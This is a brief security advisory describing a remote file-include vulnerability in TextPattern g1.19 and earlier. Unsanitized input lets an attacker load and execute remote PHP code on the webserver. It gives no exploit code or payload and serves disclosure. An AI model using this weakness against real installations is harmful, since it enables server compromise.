TextPattern Publish.PHP Remote File Include Vulnerability

TextPattern is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

TextPattern g1.19 and prior versions are vulnerable to this issue; other versions may also be affected.
